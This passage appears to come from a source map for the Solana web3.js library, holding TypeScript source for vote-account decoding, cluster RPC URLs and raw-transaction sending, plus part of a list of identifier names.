targetEpoch: number;\n}>;\n\nexport type BlockTimestamp = Readonly<{\n slot: number;\n timestamp: number;\n}>;\n\ntype VoteAccountData = Readonly<{\n authorizedVoters: AuthorizedVoterRaw[];\n authorizedWithdrawer: Uint8Array;\n commission: number;\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n nodePubkey: Uint8Array;\n priorVoters: PriorVoters;\n rootSlot: number;\n rootSlotValid: number;\n votes: Lockout[];\n}>;\n\n/**\n * See https://github.com/solana-labs/solana/blob/8a12ed029cfa38d4a45400916c2463fb82bbec8c/programs/vote_api/src/vote_state.rs#L68-L88\n *\n * @internal\n */\nconst VoteAccountLayout = BufferLayout.struct<VoteAccountData>([\n Layout.publicKey('nodePubkey'),\n Layout.publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n BufferLayout.nu64(), // votes.length\n BufferLayout.seq<Lockout>(\n BufferLayout.struct([\n BufferLayout.nu64('slot'),\n BufferLayout.u32('confirmationCount'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'votes',\n ),\n BufferLayout.u8('rootSlotValid'),\n BufferLayout.nu64('rootSlot'),\n BufferLayout.nu64(), // authorizedVoters.length\n BufferLayout.seq<AuthorizedVoterRaw>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n Layout.publicKey('authorizedVoter'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'authorizedVoters',\n ),\n BufferLayout.struct<PriorVoters>(\n [\n BufferLayout.seq(\n BufferLayout.struct([\n Layout.publicKey('authorizedPubkey'),\n BufferLayout.nu64('epochOfLastAuthorizedSwitch'),\n BufferLayout.nu64('targetEpoch'),\n ]),\n 32,\n 'buf',\n ),\n BufferLayout.nu64('idx'),\n BufferLayout.u8('isEmpty'),\n ],\n 'priorVoters',\n ),\n BufferLayout.nu64(), // epochCredits.length\n BufferLayout.seq<EpochCredits>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n BufferLayout.nu64('credits'),\n BufferLayout.nu64('prevCredits'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'epochCredits',\n ),\n BufferLayout.struct<BlockTimestamp>(\n [BufferLayout.nu64('slot'), BufferLayout.nu64('timestamp')],\n 'lastTimestamp',\n ),\n]);\n\ntype VoteAccountArgs = {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n};\n\n/**\n * VoteAccount class\n */\nexport class VoteAccount {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n\n /**\n * @internal\n */\n constructor(args: VoteAccountArgs) {\n this.nodePubkey = args.nodePubkey;\n this.authorizedWithdrawer = args.authorizedWithdrawer;\n this.commission = args.commission;\n this.rootSlot = args.rootSlot;\n this.votes = args.votes;\n this.authorizedVoters = args.authorizedVoters;\n this.priorVoters = args.priorVoters;\n this.epochCredits = args.epochCredits;\n this.lastTimestamp = args.lastTimestamp;\n }\n\n /**\n * Deserialize VoteAccount from the account data.\n *\n * @param buffer account data\n * @return VoteAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): VoteAccount {\n const versionOffset = 4;\n const va = VoteAccountLayout.decode(toBuffer(buffer), versionOffset);\n\n let rootSlot: number | null = va.rootSlot;\n if (!va.rootSlotValid) {\n rootSlot = null;\n }\n\n return new VoteAccount({\n nodePubkey: new PublicKey(va.nodePubkey),\n authorizedWithdrawer: new PublicKey(va.authorizedWithdrawer),\n commission: va.commission,\n votes: va.votes,\n rootSlot,\n authorizedVoters: va.authorizedVoters.map(parseAuthorizedVoter),\n priorVoters: getPriorVoters(va.priorVoters),\n epochCredits: va.epochCredits,\n lastTimestamp: va.lastTimestamp,\n });\n }\n}\n\nfunction parseAuthorizedVoter({\n authorizedVoter,\n epoch,\n}: AuthorizedVoterRaw): AuthorizedVoter {\n return {\n epoch,\n authorizedVoter: new PublicKey(authorizedVoter),\n };\n}\n\nfunction parsePriorVoters({\n authorizedPubkey,\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n}: PriorVoterRaw): PriorVoter {\n return {\n authorizedPubkey: new PublicKey(authorizedPubkey),\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n };\n}\n\nfunction getPriorVoters({buf, idx, isEmpty}: PriorVoters): PriorVoter[] {\n if (isEmpty) {\n return [];\n }\n\n return [\n ...buf.slice(idx + 1).map(parsePriorVoters),\n ...buf.slice(0, idx).map(parsePriorVoters),\n ];\n}\n","const endpoint = {\n http: {\n devnet: 'http://api.devnet.solana.com',\n testnet: 'http://api.testnet.solana.com',\n 'mainnet-beta': 'http://api.mainnet-beta.solana.com/',\n },\n https: {\n devnet: 'https://api.devnet.solana.com',\n testnet: 'https://api.testnet.solana.com',\n 'mainnet-beta': 'https://api.mainnet-beta.solana.com/',\n },\n};\n\nexport type Cluster = 'devnet' | 'testnet' | 'mainnet-beta';\n\n/**\n * Retrieves the RPC API URL for the specified cluster\n * @param {Cluster} [cluster=\"devnet\"] - The cluster name of the RPC API URL to use. Possible options: 'devnet' | 'testnet' | 'mainnet-beta'\n * @param {boolean} [tls=\"http\"] - Use TLS when connecting to cluster.\n *\n * @returns {string} URL string of the RPC endpoint\n */\nexport function clusterApiUrl(cluster?: Cluster, tls?: boolean): string {\n const key = tls === false ? 'http' : 'https';\n\n if (!cluster) {\n return endpoint[key]['devnet'];\n }\n\n const url = endpoint[key][cluster];\n if (!url) {\n throw new Error(`Unknown ${key} cluster: ${cluster}`);\n }\n return url;\n}\n","import type {Buffer} from 'buffer';\n\nimport {\n BlockheightBasedTransactionConfirmationStrategy,\n Connection,\n DurableNonceTransactionConfirmationStrategy,\n TransactionConfirmationStrategy,\n} from '../connection';\nimport type {TransactionSignature} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Send and confirm a raw transaction\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Buffer} rawTransaction\n * @param {TransactionConfirmationStrategy} confirmationStrategy\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategy: TransactionConfirmationStrategy,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n/**\n * @deprecated Calling `sendAndConfirmRawTransaction()` without a `confirmationStrategy`\n * is no longer supported and will be removed in a future version.\n */\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategyOrConfirmOptions:\n | TransactionConfirmationStrategy\n | ConfirmOptions\n | undefined,\n maybeConfirmOptions?: ConfirmOptions,\n): Promise<TransactionSignature> {\n let confirmationStrategy: TransactionConfirmationStrategy | undefined;\n let options: ConfirmOptions | undefined;\n if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'lastValidBlockHeight',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as BlockheightBasedTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'nonceValue',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as DurableNonceTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else {\n options = confirmationStrategyOrConfirmOptions as\n | ConfirmOptions\n | undefined;\n }\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendRawTransaction(\n rawTransaction,\n sendOptions,\n );\n\n const commitment = options && options.commitment;\n const confirmationPromise = confirmationStrategy\n ? connection.confirmTransaction(confirmationStrategy, commitment)\n : connection.confirmTransaction(signature, commitment);\n const status = (await confirmationPromise).value;\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: sendOptions?.skipPreflight ? 'send' : 'simulate',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Raw transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","export * from './account';\nexport * from './blockhash';\nexport * from './bpf-loader-deprecated';\nexport * from './bpf-loader';\nexport * from './connection';\nexport * from './epoch-schedule';\nexport * from './errors';\nexport * from './fee-calculator';\nexport * from './keypair';\nexport * from './loader';\nexport * from './message';\nexport * from './nonce-account';\nexport * from './programs';\nexport * from './publickey';\nexport * from './transaction';\nexport * from './validator-info';\nexport * from './vote-account';\nexport * from './sysvar';\nexport * from './utils';\n\n/**\n * There are 1-billion lamports in one SOL\n */\nexport const LAMPORTS_PER_SOL = 1000000000;\n"],"names":["generatePrivateKey","ed25519","utils","randomPrivateKey","generateKeypair","privateScalar","publicKey","getPublicKey","secretKey","Uint8Array","set","isOnCurve","ExtendedPoint","fromHex","sign","message","slice","verify","toBuffer","arr","Buffer","isBuffer","from","buffer","byteOffset","byteLength","Struct","constructor","properties","Object","assign","encode","serialize","SOLANA_SCHEMA","decode","data","deserialize","decodeUnchecked","deserializeUnchecked","Enum","enum","keys","length","Error","map","key","Map","MAX_SEED_LENGTH","PUBLIC_KEY_LENGTH","isPublicKeyData","value","_bn","undefined","uniquePublicKeyCounter","PublicKey","decoded","bs58","BN","unique","equals","eq","toBase58","toBytes","toJSON","buf","b","toArrayLike","zeroPad","alloc","copy","Symbol","toStringTag","toString","createWithSeed","fromPublicKey","seed","programId","concat","publicKeyBytes","sha256","createProgramAddressSync","seeds","forEach","TypeError","createProgramAddress","findProgramAddressSync","nonce","address","seedsWithNonce","err","findProgramAddress","pubkeyData","pubkey","_PublicKey","default","kind","fields","PACKET_DATA_SIZE","VERSION_PREFIX_MASK","SIGNATURE_LENGTH_IN_BYTES","TransactionExpiredBlockheightExceededError","signature","defineProperty","prototype","TransactionExpiredTimeoutError","timeoutSeconds","toFixed","TransactionExpiredNonceInvalidError","MessageAccountKeys","staticAccountKeys","accountKeysFromLookups","keySegments","push","writable","readonly","get","index","keySegment","flat","compileInstructions","instructions","U8_MAX","keyIndexMap","findKeyIndex","keyIndex","instruction","programIdIndex","accountKeyIndexes","meta","property","BufferLayout","blob","rustString","rsl","struct","u32","offset","_decode","bind","_encode","rslShim","str","chars","span","authorized","lockup","ns64","voteInit","u8","voteAuthorizeWithSeedArgs","getAlloc","type","getItemAlloc","item","field","Array","isArray","elementLayout","layout","decodeLength","bytes","len","size","elem","shift","encodeLength","rem_len","condition","CompiledKeys","payer","keyMetaMap","compile","getOrInsertDefault","keyMeta","isSigner","isWritable","isInvoked","payerKeyMeta","ix","accountMeta","getMessageComponents","mapEntries","entries","assert","writableSigners","filter","readonlySigners","writableNonSigners","readonlyNonSigners","header","numRequiredSignatures","numReadonlySignedAccounts","numReadonlyUnsignedAccounts","payerAddress","extractTableLookup","lookupTable","writableIndexes","drainedWritableKeys","drainKeysFoundInLookupTable","state","addresses","readonlyIndexes","drainedReadonlyKeys","accountKey","lookupTableEntries","keyMetaFilter","lookupTableIndexes","drainedKeys","lookupTableIndex","findIndex","entry","delete","END_OF_BUFFER_ERROR_MESSAGE","guardedShift","byteArray","guardedSplice","args","start","splice","Message","accountKeys","recentBlockhash","indexToProgramIds","account","version","compiledInstructions","accounts","addressTableLookups","getAccountKeys","compiledKeys","payerKey","isAccountSigner","isAccountWritable","numSignedAccounts","unsignedAccountIndex","numUnsignedAccounts","numWritableUnsignedAccounts","numWritableSignedAccounts","isProgramId","has","programIds","values","nonProgramIds","_","numKeys","keyCount","shortvec","keyIndicesCount","dataCount","keyIndices","dataLength","instructionCount","instructionBuffer","instructionBufferLength","instructionLayout","seq","signDataLayout","Layout","transaction","signData","accountCount","i","dataSlice","messageArgs","MessageV0","numAccountKeysFromLookups","count","lookup","addressLookupTableAccounts","resolveAddressTableLookups","numStaticAccountKeys","lookupAccountKeysIndex","numWritableLookupAccountKeys","reduce","tableLookup","tableAccount","find","lookupTableAccounts","extractResult","addressTableLookup","encodedStaticAccountKeysLength","serializedInstructions","serializeInstructions","encodedInstructionsLength","serializedAddressTableLookups","serializeAddressTableLookups","encodedAddressTableLookupsLength","messageLayout","serializedMessage","MESSAGE_VERSION_0_PREFIX","serializedMessageLength","prefix","staticAccountKeysLength","instructionsLength","addressTableLookupsLength","serializedLength","encodedAccountKeyIndexesLength","encodedDataLength","encodedWritableIndexesLength","encodedReadonlyIndexesLength","addressTableLookupLayout","maskedPrefix","accountKeyIndexesLength","addressTableLookupsCount","writableIndexesLength","readonlyIndexesLength","VersionedMessage","deserializeMessageVersion","TransactionStatus","DEFAULT_SIGNATURE","fill","TransactionInstruction","opts","Transaction","signatures","feePayer","lastValidBlockHeight","nonceInfo","minNonceContextSlot","_message","_json","hasOwnProperty","call","minContextSlot","blockhash","nonceInstruction","signers","add","items","compileMessage","JSON","stringify","console","warn","accountMetas","includes","uniqueMetas","pubkeyString","uniqueIndex","x","sort","y","options","localeMatcher","usage","sensitivity","ignorePunctuation","numeric","caseFirst","localeCompare","feePayerIndex","payerMeta","unshift","signedKeys","unsignedKeys","indexOf","invariant","_compile","valid","every","pair","serializeMessage","getEstimatedFee","connection","getFeeForMessage","setSigners","seen","Set","uniqueSigners","signer","_partialSign","partialSign","_addSignature","addSignature","sigpair","verifySignatures","requireAllSignatures","signatureErrors","_getMessageSignednessErrors","errors","missing","invalid","config","sigErrors","errorMessage","p","join","_serialize","signatureCount","transactionLength","wireTransaction","keyObj","populate","sigPubkeyPair","some","TransactionMessage","decompile","compiledIx","compileToLegacyMessage","compileToV0Message","VersionedTransaction","defaultSignatures","encodedSignaturesLength","transactionLayout","serializedTransaction","serializedTransactionLength","signaturesLength","messageData","signerPubkeys","signerIndex","NUM_TICKS_PER_SECOND","DEFAULT_TICKS_PER_SLOT","NUM_SLOTS_PER_SECOND","MS_PER_SLOT","SYSVAR_CLOCK_PUBKEY","SYSVAR_EPOCH_SCHEDULE_PUBKEY","SYSVAR_INSTRUCTIONS_PUBKEY","SYSVAR_RECENT_BLOCKHASHES_PUBKEY","SYSVAR_RENT_PUBKEY","SYSVAR_REWARDS_PUBKEY","SYSVAR_SLOT_HASHES_PUBKEY","SYSVAR_SLOT_HISTORY_PUBKEY","SYSVAR_STAKE_HISTORY_PUBKEY","SendTransactionError","action","transactionMessage","logs","maybeLogsOutput","guideText","a","transactionLogs","transactionError","cachedLogs","getLogs","Promise","resolve","reject","getTransaction","then","tx","logMessages","catch","SolanaJSONRPCErrorCode","JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP","JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE","JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY","JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_NO_SNAPSHOT","JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX","JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE","JSON_RPC_SCAN_ERROR","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH","JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET","JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION","JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED","SolanaJSONRPCError","code","customMessage","name","sendAndConfirmTransaction","sendOptions","skipPreflight","preflightCommitment","commitment","maxRetries","sendTransaction","status","confirmTransaction","abortSignal","nonceAccountPubkey","nonceValue","sleep","ms","setTimeout","encodeData","allocLength","layoutFields","decodeData","FeeCalculatorLayout","nu64","NonceAccountLayout","NONCE_ACCOUNT_LENGTH","NonceAccount","authorizedPubkey","feeCalculator","fromAccountData","nonceAccount","encodeDecode","bigInt","bigIntLayout","src","toBigIntLE","toBufferLE","u64","SystemInstruction","decodeInstructionType","checkProgramId","instructionTypeLayout","typeIndex","ixType","SYSTEM_INSTRUCTION_LAYOUTS","decodeCreateAccount","checkKeyLength","lamports","space","Create","fromPubkey","newAccountPubkey","decodeTransfer","Transfer","toPubkey","decodeTransferWithSeed","TransferWithSeed","basePubkey","decodeAllocate","Allocate","accountPubkey","decodeAllocateWithSeed","base","AllocateWithSeed","decodeAssign","Assign","decodeAssignWithSeed","AssignWithSeed","decodeCreateWithSeed","CreateWithSeed","decodeNonceInitialize","InitializeNonceAccount","noncePubkey","decodeNonceAdvance","AdvanceNonceAccount","decodeNonceWithdraw","WithdrawNonceAccount","decodeNonceAuthorize","AuthorizeNonceAccount","newAuthorizedPubkey","SystemProgram","expectedLength","freeze","UpgradeNonceAccount","createAccount","params","transfer","BigInt","createAccountWithSeed","createNonceAccount","initParams","nonceInitialize","instructionData","nonceAdvance","nonceWithdraw","nonceAuthorize","allocate","QUEUE","CHUNK_SIZE","Loader","getMinNumSignatures","Math","ceil","chunkSize","addToQueue","process","base58","fetch","method","headers","substring","split","reverse","load","program","balanceNeeded","getMinimumBalanceForRentExemption","programInfo","getAccountInfo","executable","error","owner","dataLayout","array","transactions","bytesLength","bytesLengthPadding","_rpcEndpoint","REQUESTS_PER_SECOND","all","deployCommitment","finalizeSignature","context","currentSlot","getSlot","slot","round","Account","_publicKey","_secretKey","secretKeyBuffer","BPF_LOADER_DEPRECATED_PROGRAM_ID","BPF_LOADER_PROGRAM_ID","BpfLoader","elf","loaderProgramId","require$$1","require$$0","require$$2","require$$3","agentkeepaliveModule","fastStableStringify","MINIMUM_SLOT_PER_EPOCH","trailingZeros","n","nextPowerOfTwo","EpochSchedule","slotsPerEpoch","leaderScheduleSlotOffset","warmup","firstNormalEpoch","firstNormalSlot","getEpoch","getEpochAndSlotIndex","epoch","epochLen","getSlotsInEpoch","slotIndex","normalSlotIndex","normalEpochIndex","floor","getFirstSlotInEpoch","pow","getLastSlotInEpoch","globalThis","input","init","processedInput","nodeFetch","RpcWebSocketClient","CommonClient","generate_request_id","webSocketFactory","url","rpc","createRpc","autoconnect","max_reconnects","reconnect","reconnect_interval","underlyingSocket","socket","readyState","notify","LOOKUP_TABLE_META_SIZE","AddressLookupTableAccount","isActive","U64_MAX","deactivationSlot","accountData","LookupTableMetaLayout","serializedAddressesLen","numSerializedAddresses","lastExtendedSlot","lastExtendedSlotStartIndex","lastExtendedStartIndex","authority","URL_RE","makeWebsocketUrl","endpoint","matches","match","hostish","portWithColon","rest","protocol","startsWith","startPort","parseInt","websocketPort","PublicKeyFromString","coerce","instance","string","RawAccountDataResult","tuple","literal","BufferFromRawAccountData","BLOCKHASH_CACHE_TIMEOUT_MS","assertEndpointUrl","putativeUrl","test","extractCommitmentFromConfig","commitmentOrConfig","specifiedCommitment","specifiedConfig","applyDefaultMemcmpEncodingToFilters","filters","memcmp","encoding","createRpcResult","result","union","pick","jsonrpc","id","unknown","optional","any","UnknownRpcResult","jsonRpcResult","schema","create","jsonRpcResultAndContext","number","notificationResultAndContext","versionedMessageFromResponse","response","GetInflationGovernorResult","foundation","foundationTerm","initial","taper","terminal","GetInflationRewardResult","nullable","effectiveSlot","amount","postBalance","commission","GetRecentPrioritizationFeesResult","prioritizationFee","GetInflationRateResult","total","validator","GetEpochInfoResult","slotsInEpoch","absoluteSlot","blockHeight","transactionCount","GetEpochScheduleResult","boolean","GetLeaderScheduleResult","record","TransactionErrorResult","SignatureStatusResult","SignatureReceivedResult","VersionResult","ParsedInstructionStruct","parsed","PartiallyDecodedInstructionStruct","SimulatedTransactionResponseStruct","rentEpoch","unitsConsumed","returnData","innerInstructions","BlockProductionResponseStruct","byIdentity","range","firstSlot","lastSlot","createRpcClient","httpHeaders","customFetch","fetchMiddleware","disableRetryOnRateLimit","httpAgent","fetchImpl","agent","agentOptions","freeSocketTimeout","keepAlive","maxSockets","HttpsKeepAliveAgent","HttpKeepAliveAgent","isHttps","NodeHttpsAgent","fetchWithMiddleware","info","modifiedFetchArgs","modifiedInfo","modifiedInit","clientBrowser","RpcClient","request","callback","body","COMMON_HTTP_HEADERS","too_many_requests_retries","res","waitTime","statusText","text","ok","createRpcRequest","client","createRpcBatchRequest","requests","batch","methodName","GetInflationGovernorRpcResult","GetInflationRateRpcResult","GetRecentPrioritizationFeesRpcResult","GetEpochInfoRpcResult","GetEpochScheduleRpcResult","GetLeaderScheduleRpcResult","SlotRpcResult","GetSupplyRpcResult","circulating","nonCirculating","nonCirculatingAccounts","TokenAmountResult","uiAmount","decimals","uiAmountString","GetTokenLargestAccountsResult","GetTokenAccountsByOwner","ParsedAccountDataResult","GetParsedTokenAccountsByOwner","GetLargestAccountsRpcResult","AccountInfoResult","KeyedAccountInfoResult","ParsedOrRawAccountData","ParsedAccountInfoResult","KeyedParsedAccountInfoResult","StakeActivationResult","active","inactive","GetConfirmedSignaturesForAddress2RpcResult","memo","blockTime","GetSignaturesForAddressRpcResult","AccountNotificationResult","subscription","ProgramAccountInfoResult","ProgramAccountNotificationResult","SlotInfoResult","parent","root","SlotNotificationResult","SlotUpdateResult","timestamp","stats","numTransactionEntries","numSuccessfulTransactions","numFailedTransactions","maxTransactionsPerEntry","SlotUpdateNotificationResult","SignatureNotificationResult","RootNotificationResult","ContactInfoResult","gossip","tpu","VoteAccountInfoResult","votePubkey","nodePubkey","activatedStake","epochVoteAccount","epochCredits","lastVote","rootSlot","GetVoteAccounts","current","delinquent","ConfirmationStatus","SignatureStatusResponse","confirmations","confirmationStatus","GetSignatureStatusesRpcResult","GetMinimumBalanceForRentExemptionRpcResult","AddressTableLookupStruct","ConfirmedTransactionResult","AnnotatedAccountKey","source","ConfirmedTransactionAccountsModeResult","ParsedInstructionResult","RawInstructionResult","InstructionResult","UnknownInstructionResult","ParsedOrRawInstruction","ParsedConfirmedTransactionResult","TokenBalanceResult","accountIndex","mint","uiTokenAmount","LoadedAddressesResult","ConfirmedTransactionMetaResult","fee","preBalances","postBalances","preTokenBalances","postTokenBalances","loadedAddresses","computeUnitsConsumed","ParsedConfirmedTransactionMetaResult","TransactionVersionStruct","RewardsResult","rewardType","GetBlockRpcResult","previousBlockhash","parentSlot","rewards","GetNoneModeBlockRpcResult","GetAccountsModeBlockRpcResult","GetParsedBlockRpcResult","GetParsedAccountsModeBlockRpcResult","GetParsedNoneModeBlockRpcResult","GetConfirmedBlockRpcResult","GetBlockSignaturesRpcResult","GetTransactionRpcResult","GetParsedTransactionRpcResult","GetRecentBlockhashAndContextRpcResult","lamportsPerSignature","GetLatestBlockhashRpcResult","IsBlockhashValidRpcResult","PerfSampleResult","numTransactions","numSlots","samplePeriodSecs","GetRecentPerformanceSamplesRpcResult","GetFeeCalculatorRpcResult","RequestAirdropRpcResult","SendTransactionRpcResult","LogsResult","LogsNotificationResult","Connection","_commitment","_confirmTransactionInitialTimeout","_rpcWsEndpoint","_rpcClient","_rpcRequest","_rpcBatchRequest","_rpcWebSocket","_rpcWebSocketConnected","_rpcWebSocketHeartbeat","_rpcWebSocketIdleTimeout","_rpcWebSocketGeneration","_disableBlockhashCaching","_pollingBlockhash","_blockhashInfo","latestBlockhash","lastFetch","transactionSignatures","simulatedSignatures","_nextClientSubscriptionId","_subscriptionDisposeFunctionsByClientSubscriptionId","_subscriptionHashByClientSubscriptionId","_subscriptionStateChangeCallbacksByHash","_subscriptionCallbacksByServerSubscriptionId","_subscriptionsByHash","_subscriptionsAutoDisposedByRpc","getBlockHeight","requestPromises","_buildArgs","requestHash","unsafeRes","wsEndpoint","confirmTransactionInitialTimeout","Infinity","on","_wsOnOpen","_wsOnError","_wsOnClose","_wsOnAccountNotification","_wsOnProgramAccountNotification","_wsOnSlotNotification","_wsOnSlotUpdatesNotification","_wsOnSignatureNotification","_wsOnRootNotification","_wsOnLogsNotification","rpcEndpoint","getBalanceAndContext","getBalance","e","getBlockTime","getMinimumLedgerSlot","getFirstAvailableBlock","getSupply","configArg","getTokenSupply","tokenMintAddress","getTokenAccountBalance","tokenAddress","getTokenAccountsByOwner","ownerAddress","_args","getParsedTokenAccountsByOwner","getLargestAccounts","arg","getTokenLargestAccounts","mintAddress","getAccountInfoAndContext","getParsedAccountInfo","getMultipleParsedAccounts","publicKeys","rawConfig","getMultipleAccountsInfoAndContext","getMultipleAccountsInfo","getStakeActivation","getProgramAccounts","configOrCommitment","configWithoutEncoding","baseSchema","withContext","getParsedProgramAccounts","strategy","rawSignature","aborted","reason","decodedSignature","confirmTransactionUsingLegacyTimeoutStrategy","confirmTransactionUsingBlockHeightExceedanceStrategy","confirmTransactionUsingDurableNonceStrategy","getCancellationPromise","signal","addEventListener","getTransactionConfirmationPromise","signatureSubscriptionId","disposeSignatureSubscriptionStateChangeObserver","done","confirmationPromise","onSignature","__type","PROCESSED","subscriptionSetupPromise","resolveSubscriptionSetup","_onSubscriptionStateChange","nextState","getSignatureStatus","abortConfirmation","removeSignatureListener","expiryPromise","checkBlockHeight","_e","currentBlockHeight","BLOCKHEIGHT_EXCEEDED","cancellationPromise","outcome","race","currentNonceValue","lastCheckedSlot","getCurrentNonceValue","getNonceAndContext","NONCE_INVALID","slotInWhichNonceDidAdvance","signatureStatus","commitmentForStatus","timeoutId","timeoutMs","TIMED_OUT","clearTimeout","getClusterNodes","getVoteAccounts","getSlotLeader","getSlotLeaders","startSlot","limit","getSignatureStatuses","getTransactionCount","getTotalSupply","excludeNonCirculatingAccountsList","getInflationGovernor","getInflationReward","getInflationRate","getEpochInfo","getEpochSchedule","epochSchedule","getLeaderSchedule","getRecentBlockhashAndContext","getRecentPerformanceSamples","getFeeCalculatorForBlockhash","wireMessage","getRecentPrioritizationFees","lockedWritableAccounts","getRecentBlockhash","getLatestBlockhash","getLatestBlockhashAndContext","isBlockhashValid","getVersion","getGenesisHash","getBlock","_buildArgsAtLeastConfirmed","transactionDetails","getParsedBlock","getBlockProduction","extra","c","getParsedTransaction","getParsedTransactions","getTransactions","getConfirmedBlock","block","getBlocks","endSlot","getBlockSignatures","getConfirmedBlockSignatures","getConfirmedTransaction","getParsedConfirmedTransaction","getParsedConfirmedTransactions","getConfirmedSignaturesForAddress","firstAvailableBlock","until","highestConfirmedRoot","before","confirmedSignatureInfo","getConfirmedSignaturesForAddress2","getSignaturesForAddress","getAddressLookupTable","accountInfo","getNonce","requestAirdrop","to","_blockhashWithExpiryBlockHeight","disableCache","timeSinceFetch","Date","now","expired","_pollNewBlockhash","startTime","cachedLatestBlockhash","cachedBlockhash","getStakeMinimumDelegation","simulateTransaction","transactionOrMessage","configOrSigners","includeAccounts","versionedTx","encodedTransaction","originalTx","sigVerify","traceIndent","logTrace","signersOrOptions","sendRawTransaction","rawTransaction","sendEncodedTransaction","setInterval","_updateSubscriptions","Number","MAX_SAFE_INTEGER","clearInterval","hash","_setSubscription","nextSubscription","prevState","stateChangeCallbacks","cb","clientSubscriptionId","close","log","connect","activeWebSocketGeneration","isCurrentConnectionStillActive","callbacks","serverSubscriptionId","unsubscribeMethod","_handleServerNotification","callbackArgs","notification","_makeSubscription","subscriptionConfig","existingSubscription","onAccountChange","removeAccountChangeListener","_unsubscribeClientSubscription","accountId","onProgramAccountChange","maybeFilters","removeProgramAccountChangeListener","onLogs","mentions","removeOnLogsListener","onSlotChange","removeSlotChangeListener","onSlotUpdate","removeSlotUpdateListener","subscriptionName","dispose","override","_err","onSignatureWithOptions","onRootChange","removeRootChangeListener","Keypair","keypair","_keypair","generate","fromSecretKey","skipValidation","computedPublicKey","ii","fromSeed","LOOKUP_TABLE_INSTRUCTION_LAYOUTS","CreateLookupTable","bigintLayout","FreezeLookupTable","ExtendLookupTable","DeactivateLookupTable","CloseLookupTable","AddressLookupTableInstruction","layoutType","decodeCreateLookupTable","checkKeysLength","recentSlot","decodeExtendLookupTable","decodeCloseLookupTable","recipient","decodeFreezeLookupTable","decodeDeactivateLookupTable","AddressLookupTableProgram","createLookupTable","lookupTableAddress","bumpSeed","freezeLookupTable","extendLookupTable","addr","deactivateLookupTable","closeLookupTable","ComputeBudgetInstruction","COMPUTE_BUDGET_INSTRUCTION_LAYOUTS","decodeRequestUnits","units","additionalFee","RequestUnits","decodeRequestHeapFrame","RequestHeapFrame","decodeSetComputeUnitLimit","SetComputeUnitLimit","decodeSetComputeUnitPrice","microLamports","SetComputeUnitPrice","ComputeBudgetProgram","requestUnits","requestHeapFrame","setComputeUnitLimit","setComputeUnitPrice","PRIVATE_KEY_BYTES","PUBLIC_KEY_BYTES","SIGNATURE_BYTES","ED25519_INSTRUCTION_LAYOUT","u16","Ed25519Program","createInstructionWithPublicKey","instructionIndex","publicKeyOffset","signatureOffset","messageDataOffset","numSignatures","padding","signatureInstructionIndex","